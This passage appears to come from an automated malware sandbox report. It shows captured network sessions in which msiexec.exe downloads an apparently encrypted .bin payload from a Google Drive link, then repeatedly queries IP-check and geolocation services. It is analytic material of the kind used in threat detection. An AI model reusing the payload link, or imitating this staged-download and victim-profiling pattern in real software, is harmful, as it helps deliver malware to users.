Oct 22, 2024 16:04:24.393897057 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:25.238945007 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:25 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c562de5112e67fa3f1947dcbd1fdd84 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49720	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:26.039328098 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:26.703584909 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2c39c2343af0ab9073c91cb2daebfb1b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49722	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:27.475423098 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:28.137046099 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e544bf8b0933c6f528076c6e64ba83b3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49724	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:28.916474104 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:29.574677944 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:29 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 31ae1267f851d377866a6a781b14f360 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49726	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:30.325721025 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:30.988492966 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:30 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 00ce315accf73753c21b080ccc916c8f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49709	142.250.185.174	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:13 UTC	216	OUT	GET /uc?export=download&id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-22 14:04:14 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 22 Oct 2024 14:04:14 GMT Location: https://drive.usercontent.google.com/download?id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bDtljU7-xCQsDa7IepRT5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49710	142.250.186.65	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:15 UTC	258	OUT	GET /download?id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-22 14:04:17 UTC	4890	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="JCECHOJbaBp94.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 279616 Last-Modified: Sun, 20 Oct 2024 23:51:46 GMT X-GUploader-UploadID: AHmUCY11cOvNkv2Gt5Qa4wCXHWZH8psdHTiff4797bIYW3isr80wj-Q4stB2IdQjnieIwPUkqVk Date: Tue, 22 Oct 2024 14:04:17 GMT Expires: Tue, 22 Oct 2024 14:04:17 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Iagp9A== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-22 14:04:17 UTC	4890	IN	Data Raw: 7c 74 e8 00 58 0d c2 ab f8 b8 e1 28 ec cd df d7 30 d0 cd 1f eb 0e 7b 68 80 a2 b2 e7 4a d4 79 c3 b3 af e6 43 00 cb d6 f2 45 1b 39 f4 2c af 77 f2 9f d4 95 ab 40 0a 46 c8 ee 72 dd b7 df 8b e4 a4 8f 2d 24 a2 bd 88 b6 01 33 25 60 e5 8d b7 40 00 fa 1a 60 62 1f ee 4e dd 1e a2 da ba 2b ab 20 d1 3a 03 0e 2a 55 95 8a 2c 91 02 e4 91 48 f7 6e 19 af bc 3b c6 69 0c 9e ee f0 fe 0d c2 4a f5 6a a1 78 af 2e 86 71 ce 59 cd 3a 65 76 16 e3 65 9d ab 42 0a 79 0f c4 a2 bf 0f 4c e2 fe b7 99 99 47 4b 98 79 a0 94 42 1b 49 50 8a ec c0 9a 73 42 22 9d e5 a4 25 0b 6f 8f 33 ad 8c 41 51 9a 4d 66 be 59 75 6f dd 96 10 94 be 2a 13 76 30 cd 56 af 9f bf 99 7d e7 85 e5 02 a5 2c 1e 6f db 99 7e c9 cc 6b 06 68 8d 11 d4 f6 d6 00 d9 f8 ab b3 d9 45 19 9a 10 6b e3 f8 23 3f b0 86 b4 58 78 fc 5b 59 9b Data Ascii: \|tX(0{hJyCE9,w@Fr-$3%`@`bN+ :U,Hn;iJjx.qY:eveByLGKyBIPsB"%o3AQMfYuov0V},o~khEk#?Xx[Y
2024-10-22 14:04:17 UTC	4890	IN	Data Raw: e5 72 48 be 01 51 14 71 6c 33 ed 4e f6 5c a2 da 64 25 ab 31 dc 16 0b 1f 27 3a 94 8a 2c 9b 02 38 4f 58 d2 46 2d af bc 31 d5 66 0c b6 8c f0 fe 07 1c ca f5 40 a1 76 f1 d8 88 71 78 50 00 1b 87 77 5a 2e 73 c8 c3 2b e8 58 7f b6 c3 d8 7d 2d 8f de d4 f8 f5 29 24 ec f4 c3 f1 62 72 3c 3e aa 4d af ba 37 03 71 bd 88 cb 41 6e 41 82 3e a7 a8 40 51 9a 4d b1 bf 59 25 f2 dc 96 5c 85 bd 2a ca b6 a0 ab 57 b4 af bc 99 cc e7 85 05 11 a7 2d 04 6e 8b b1 1d e7 c8 61 0d 7b a5 4b d4 f6 dc 03 d8 e8 af b3 d3 0a 7d 9a 10 01 e7 ff 3c 2f 7d d9 b4 78 79 93 3e 5b 9b 40 4b fc a0 3e f2 aa 6f 09 fa 92 b6 14 2a 04 bf 20 b5 27 ea 96 16 da f1 ee e3 29 33 01 8d aa b9 b2 94 78 95 9a 9f f4 f6 5c 5d c2 da 42 15 fa 10 18 ee 7f 3e 17 d8 03 b0 a2 1a fe 2c e6 95 51 c2 ba bf 3f 92 8c 22 14 77 b4 50 13 Data Ascii: rHQql3N\d%1':,8OXF-1f@vqxPwZ.s+X}-)$br<>M7qAnA>@QMY%\W-na{K}</}xy>[@K>o ')3x\]B>,Q?"wP
2024-10-22 14:04:17 UTC	27	IN	Data Raw: 86 7b 2d 8f de d4 f8 89 1b 24 ec 5d b0 a6 60 69 4c 28 82 04 ae ba 3d 1b 8f bc 9b Data Ascii: {-$]`iL(=
2024-10-22 14:04:17 UTC	1325	IN	Data Raw: cd 50 68 78 41 3c a7 a8 3f 7e 9a 4d 62 cc 68 27 2a ad 80 74 14 bd 2a c0 e5 5e aa 45 a8 8e b8 a0 4d e6 85 05 02 b3 d3 13 53 8b 99 78 94 08 6b 06 76 a5 d0 d4 f6 dc 00 c4 76 af b3 d3 76 11 8b 18 75 dd f8 23 3b 83 45 b4 78 72 93 9f 5b 9b 40 4b ea af 3e 51 aa 6f 09 83 c0 d1 14 2e 61 16 48 b5 2d e0 8b 1e db 12 fe e3 53 08 b1 8d bb b7 c8 23 1b ff ea b7 a5 e5 59 57 bc 18 31 7e f0 10 03 f5 64 a2 51 da 6c dd 87 0c 86 48 37 9b 21 71 99 84 1f 37 8a 4d 1f d5 91 42 61 af e7 ab c3 de 56 6c 83 fa 44 c2 57 e4 94 66 f4 de c2 4b 05 0f f4 ed 53 e1 7b 15 00 6e 86 d7 6e db 05 0a 64 f0 28 66 9e 02 c1 94 7e e0 a3 19 8d 00 1e 47 90 05 0e 14 cc cf fd b0 a7 1f 90 b8 4e da 26 82 0d 9a f6 c7 d6 19 26 86 ff 8e 1d 54 86 17 6d e2 83 3a 62 54 cc ae 3f 66 0e 92 08 cf 27 9e 10 b2 76 b9 4c Data Ascii: PhxA<?~Mbh't^EMSxkvvvu#;Exr[@K>Qo.aH-S#YW1~dQlH7!q7MBaVlDWfKS{nnd(f~GN&&Tm:bT?f'vL
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: 2d 92 37 23 72 51 0c a6 c5 e5 59 d6 6c 83 29 24 97 d5 a6 7a 34 23 2c 9c 86 ee 51 c1 47 25 41 8c 3a 30 09 64 15 66 d3 07 bf 44 1b 6d 1a 6a b3 3e c4 25 dc 95 97 ee 6c a7 21 80 2c 25 d0 c3 43 66 b9 56 ab 9b 8c dc 5e 30 32 29 78 97 57 5c a1 cc e3 da 51 07 8e 84 fe 42 cb bb dd 6e 09 61 54 64 42 f2 81 4e 82 2d 2d 25 33 62 86 c1 13 e3 fc ac 3b b0 13 6c dc 77 0f 62 6c 49 1a da 7a d6 c5 e8 d6 77 5d c6 8d 11 11 c6 16 7e 2f c2 8d 50 d1 6d a1 34 0e 50 02 7f 15 7e 29 6a cb 25 3b 3c 9f 4a ac 4c d6 83 78 f4 4a b0 20 b6 a2 ce 9e 9e 80 37 25 6a f3 8c 49 53 24 53 3e 4c 3e 02 63 0e dd 5e a3 ff ac 59 cf 2f d1 4a a1 2b 3d 7d 21 8a 2c 9b a0 c1 89 3a 89 61 19 df 1e 1e df 17 34 9e ee f4 5c 28 d8 b8 57 65 a1 06 12 b1 93 0f 50 50 00 1f 7f 52 46 5c f4 c6 c3 5b db 71 0a b6 cd d2 6e Data Ascii: -7#rQYl)$z4#,QG%A:0dfDmj>%l!,%CfV^02)xW\QBnaTdBN--%3b;lwblIzw]~/Pm4P~)j%;<JLxJ 7%jIS$S>L>c^Y/J+=}!,:a4\(WePPRF\[qn
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: 2c 99 80 5e 96 8b 1b 52 a8 69 cb a2 ef 93 f3 3e 16 e6 cc 4f 63 1a 9c 47 3d 66 c8 22 5a fe 50 67 5b 65 ef 2f 22 2f cb 04 2a 33 4e 18 e3 b5 ed 58 48 17 9a 3d 6f df 5b c7 79 74 92 05 bb d1 49 b1 d0 f6 66 90 9a cd ee de 22 64 40 2f 69 82 1f bf 8c 43 b1 65 6d 15 69 8d 4d 41 e6 34 a6 94 db da 72 34 bb 79 c2 c8 ad 2d 34 81 d7 06 a7 94 16 c7 32 f4 28 8e c2 05 8d 04 71 20 2d 5b ea 42 ea fb d1 0a ee fe 50 94 ec d1 47 ce 30 f6 55 a8 b8 38 f4 59 2b c2 4a a5 e8 be a1 71 81 c5 c3 40 93 b7 fc d4 d3 7b 1d c1 3c bf bc 08 25 0a 84 2e de 92 7c 43 28 ef 2a 5a 49 d5 e7 36 19 1f 89 d9 bc 46 77 98 79 1a 77 67 0e eb e3 1c 23 4f e9 7a 5f 30 89 ea 58 ad 90 81 34 6b 8b 4e af f6 69 af 6f a8 cb 8d 83 4c 3d 29 2e 3b 2a 29 bd bb d9 71 a0 68 21 06 38 c5 65 a5 7a 44 a9 73 e9 86 e4 5b d0 Data Ascii: ,^Ri>OcG=f"ZPg[e/"/3NXH=o[ytIf"d@/iCemiMA4r4y-42(q -[BPG0U8Y+Jq@{<%.\|C(ZI6Fwywg#Oz_0X4kNioL=).;*)qh!8ezDs[
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: 5b 19 4d 89 12 97 c0 e2 29 37 3e ec 21 7b 23 2d 97 d3 2c 64 85 23 34 92 9a 27 55 7e 22 40 7d 79 9a 84 14 b0 c8 55 8e 55 e2 01 c6 dd 01 3f fb 23 04 32 de d4 c1 6c 2e a6 d7 38 11 37 33 e9 a5 e8 e6 0b b1 5e 84 f6 0a 9e b2 35 cc 2e 2a 34 67 d6 0b df f8 68 fd 30 c7 3a d9 76 1e 4f c7 07 97 5e e0 3f 26 ba 6e 21 58 6a 7e e9 33 c8 de 59 1c e3 06 c4 57 06 db 8f c9 e1 8a 21 64 77 65 61 0f 56 ef 38 d4 e5 d3 c4 b9 f2 65 55 5d 0c 23 f6 d3 9c ac 46 90 35 a9 bf 98 e4 a7 81 b3 9c bd f0 33 e9 3a 93 57 79 19 88 18 a5 54 f2 31 4b 63 e4 d2 ea 3a 90 ec d2 ee 9c c1 70 ed 46 3d ec 5b c0 4c ba e6 83 2f 06 45 42 3d b0 5a 79 7a a4 78 20 74 b7 7a 9e c2 84 0e 3d c8 8d a4 f7 15 e6 7c bd 08 94 73 dd 32 2d 4c 94 5e ec 3a 34 36 ae 06 10 cd b3 99 e2 33 74 3d c5 c1 00 70 8d c5 3d 66 c6 51 Data Ascii: [M)7>!{#-,d#4'U~"@}yUU?#2l.873^5.*4gh0:vO^?&n!Xj~3YW!dweaV8eU]#F53:WyT1Kc:pF=[L/EB=Zyzx tz=\|s2-L^:463t=p=fQ
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: dd 49 3d 06 83 22 a7 ce 91 60 91 eb ff b7 85 a5 fe b4 7d 75 c7 56 54 c1 b6 5f 87 a4 27 7e e8 ce 82 c9 cf c2 bd a7 dc b3 9f 87 f3 4e 9b f7 03 ec c0 78 2b 6f e6 b1 44 2e 4a 11 fb 41 44 39 8e 2b e8 df 88 1e 85 9f f5 22 57 9f e4 d2 ae 75 0f 9d 89 25 db 6f 2c 9a 3b 4c d6 09 06 df 6b 6e 53 13 c1 d0 ac 42 3a d5 51 9c 86 f9 bf 70 de ab 7d ca 61 b3 87 6c 8c bf 53 50 c3 43 13 63 94 01 4f c1 d9 be 30 94 ea 1f 0b fe b0 73 a0 fd 93 c6 f2 81 6b 9e aa 93 dd 5e fe 9f 30 53 fe 2a 80 cb 3b 16 f6 0e ec 4b e3 67 49 9f be 4d 6b fa fb 0f 07 05 a9 53 47 5d f4 e7 51 c8 55 67 07 28 99 dd 45 9a 52 18 6b 0a b2 a1 79 0a 09 2b 10 8c 76 62 ae 2d 80 9a 43 8b ae 0e 83 5c 95 19 8d 70 e8 7f bd 5c c1 52 3b 4d 4f f8 89 12 99 a4 4b 28 3d 48 c3 ab fd 23 2d e3 f6 d2 65 92 71 72 b0 a3 84 43 56 Data Ascii: I="`}uVT_'~Nx+oD.JAD9+"Wu%o,;LknSB:Qp}alSPCcO0sk^0S*;KgIMkSG]QUg(ERky+vb-C\p\R;MOK(=H#-eqrCV
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: 9c 44 34 4f 3a f1 7b 2f 9d f8 43 cb 30 bc 40 df 63 11 10 0b 89 d8 26 e1 84 2d 91 b3 22 24 aa 10 38 a3 17 3a cb 40 90 7c b5 dd 03 d8 7a bb 77 d3 dc 5d cc aa d1 a0 22 de bc 36 be 2a 37 ff dd 3c 3c 5d c2 77 d5 e6 ce 4e a3 35 24 8d a5 4e a4 5b cf c2 f8 59 9d a1 ff 05 2b 21 78 6d 87 d3 63 1f 38 92 32 59 ef 61 e2 3b 2e 0d 58 31 91 96 3e b4 b9 5b ef 35 6c d7 ad e7 2b 1f ea 18 00 e3 77 ed b4 e0 d0 6c 9f 35 80 f4 5f 1f 97 47 53 fe 45 ba 1e 1d 0e b1 41 45 17 6a 09 2d d5 76 f0 6c f5 70 6f 0d bc 7a c9 b1 31 8e cc 99 09 39 c2 54 4c 05 d9 4b 83 40 a1 d7 07 4d 23 14 1a c8 8c 85 0c fd 20 69 7d a6 bc ad 57 ef 8e 79 38 cc 05 05 bf f7 31 1d b8 dc 7f c5 73 61 e1 35 af b3 69 70 83 b5 ff ec 2e d9 26 19 69 28 26 05 e1 8b 03 b0 87 55 c7 27 8a e5 db 46 1a 1c 52 f6 ee aa 2d 87 71 Data Ascii: D4O:{/C0@c&-"$8:@\|zw]"6*7<<]wN5$N[Y+!xmc82Ya;.X1>[5l+wl5_GSEAEj-vlpoz19TLK@M# i}Wy81sa5ip.&i(&U'FR-q
2024-10-22 14:04:17 UTC	1378	IN	Data Raw: 00 13 94 a0 ee e3 c4 9e ac 13 fd dc 07 5e ee 39 7d dd c8 6d d2 b9 dc 5a a2 b8 3e 7c 71 ce 71 ba 86 d1 fa 3a 03 9a 87 a0 f5 55 e5 bf 54 9d af 36 79 32 87 c1 f5 6c 1d ba 13 42 4c 95 10 a2 5a b9 51 b1 05 3d 58 b7 93 7c c8 e3 ad cb 90 73 a1 b0 a4 fa 5a d1 24 a5 43 2f d8 64 d2 d5 b2 0d ea 3e e1 4c 8e a5 5b be 03 10 5e 9e 2c 3f 4d 96 26 0a 2d 89 f6 37 ec 16 35 58 2d da 30 49 48 25 f1 02 ec 76 7f 63 48 d9 91 22 8b 5a 09 52 1b 17 93 c8 08 f8 81 62 5e f8 43 27 1b 3d a7 22 ea a0 7f 0e 62 22 ce b0 ce f9 b9 28 d7 68 3b e2 c1 54 cd 46 a4 b3 85 50 9d 55 96 e4 23 f8 55 24 ee b1 bc 3d 22 11 bc 08 ae 1b eb 85 51 80 cb eb d0 db 10 93 4d 1a 11 55 45 47 68 24 e4 c2 b6 b0 33 26 54 54 c0 0e c4 9c 4e 3e e4 70 43 09 51 98 f8 ed 65 15 ac 12 e0 6a 7e 15 a9 ac c8 54 06 59 3e c4 39 Data Ascii: ^9}mZ>\|qq:UT6y2lBLZQ=X\|sZ$C/d>L[^,?M&-75X-0IH%vcH"ZRb^C'="b"(h;TFPU#U$="QMUEGh$3&TTN>pCQej~TY>9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49712	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:20 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:04:20 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31216 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UhL7Bsq%2BcD3P4RDyRA3T4oJMFQf8ego45CFdymQxH7oOZRvlAxv5L3arbKFooqqqqmkP3%2BqEcchM7DopHwkcev%2FW32kiJ5Dejuj0yq9N7k2ckbFVF9jSj1YOh4F6cWHZfA1q%2FvYK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a09342c5a0c03-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1368&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2043754&cwnd=244&unsent_bytes=0&cid=b877f01f787eeca4&ts=169&x=0"
2024-10-22 14:04:20 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:04:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49713	188.114.97.3	443	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:04:21 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:04:21 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31217 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zh5lhJGD3GwUbrekY16W9H6xPtYHR2g4ibJp9aXk94oM3pxI%2BTTJRL0cSJC4C7TEdKfG8FwLwCHfdkRXy3qYlkHnaWarK9fWkYav6ZBh%2BBo%2BtiKYxLzsXMOkj8xI%2BOl3iJpLA0Pp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a093a08452e5a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2126284&cwnd=246&unsent_bytes=0&cid=25220a249c7a6ae4&ts=153&x=0"
